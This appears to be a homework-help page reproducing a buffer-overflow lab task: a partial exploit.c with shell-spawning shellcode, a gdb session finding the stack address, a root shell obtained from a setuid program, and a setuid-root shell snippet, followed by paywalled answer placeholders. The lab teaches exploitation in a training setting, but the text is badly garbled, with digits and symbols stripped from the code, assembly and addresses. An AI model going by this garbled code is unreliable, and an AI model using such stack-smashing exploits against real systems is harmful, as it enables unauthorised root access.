Question: Task 1 . Exploiting the Vulnerability We provide you with a partially completed exploit code called exploit.c . The goal of this code is
Task Exploiting the Vulnerability
We provide you with a partially completed exploit code called "exploit.c The goal of this code is to construct contents for "badfile". In the code, the shellcode is given to you. You need to develop the rest.
exploit.c
A program that creates a file containing code for launching shell
#include
#include
#include
char shellcode
xxc xorl eax,eax
x pushl eax
xsh pushl $xff
xbin pushl $xef
xxe movl esp,ebx
x pushl eax
x pushl ebx
xxe movl esp,ecx
x cdq
xbxb movb $xbal
xcdx int $x
;
void mainint argc, char argv
char buffer;
FILE badfile;
Initialize buffer with xNOP instruction
memset&buffer, x;
You need to fill the buffer with appropriate contents here
strcpybufferxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
strcpybuffershellcode;
Save the contents to the file "badfile"
badfile fopenbadfilew;
fwritebuffer badfile;
fclosebadfile;
To beginning the attack, we need the address of shellcode.
seed@ubuntu:~Desktop$ gdb quiet stack
Reading symbols from homeseedDesktopstackno debugging symbols founddone.
gdb disassemble main
Dump of assembler code for function main:
xa: push ebp
xa: mov esp,ebp
xa: and $xfffffffesp
xa: sub $xesp
xaf : mov $xfedx
xb: mov $xfeax
xb: mov edx,xesp
xbd : mov eax,esp
xc: call xc
xc: mov eax,xcesp
xcc : lea xespeax
xd: mov xcespedx
xd: mov edx,xcesp
xdb : movl $xxesp
xe: movl $xxesp
xeb : mov eax,esp
xee : call x
xf: lea xespeax
xf: mov eax,esp
xfa : call x
xff : movl $xfaesp
x: call x
xb : mov $xeax
x: leave
x: ret
End of assembler dump.
gdb b xaf
Breakpoint at xaf
gdb r
Starting program: homeseedDesktopstack
Breakpoint xaf in main
gdb i r $esp
esp xbffffxbffff
We know esp's value is the beginning address of str according to strcpybuffershellcode; we can calculate shellcode's address is xbffffHEXDECxbffffbHEX
We replace xxxx to xbxfxffxbf because when buffer overflow happened this place's return address will be overwrite.
After we finish the above program, compile and run it This will generate the contents for "badfile". Then run the vulnerable program stack. If our exploit is implemented correctly, we should be able to get a root shell.
: seed@ubuntu:~Desktop$ exploit
: seed@ubuntu:~Desktop$ stack
# whoami
root
Many commands will behave differently if they are executed as SetUID root processes, instead of just as root processes, because they recognize that the real user id is not root. To solve this problem, you can run the following program to turn the real user id to root. This way, you will have a real root process, which is more powerful.
void main
setuid; systembinsh;
please provide screenshot
Step by Step Solution
There are 3 Steps involved in it
1 Expert Approved Answer
Step: 1 Unlock
Question Has Been Solved by an Expert!
Get step-by-step solutions from verified subject matter experts
Step: 2 Unlock
Step: 3 Unlock
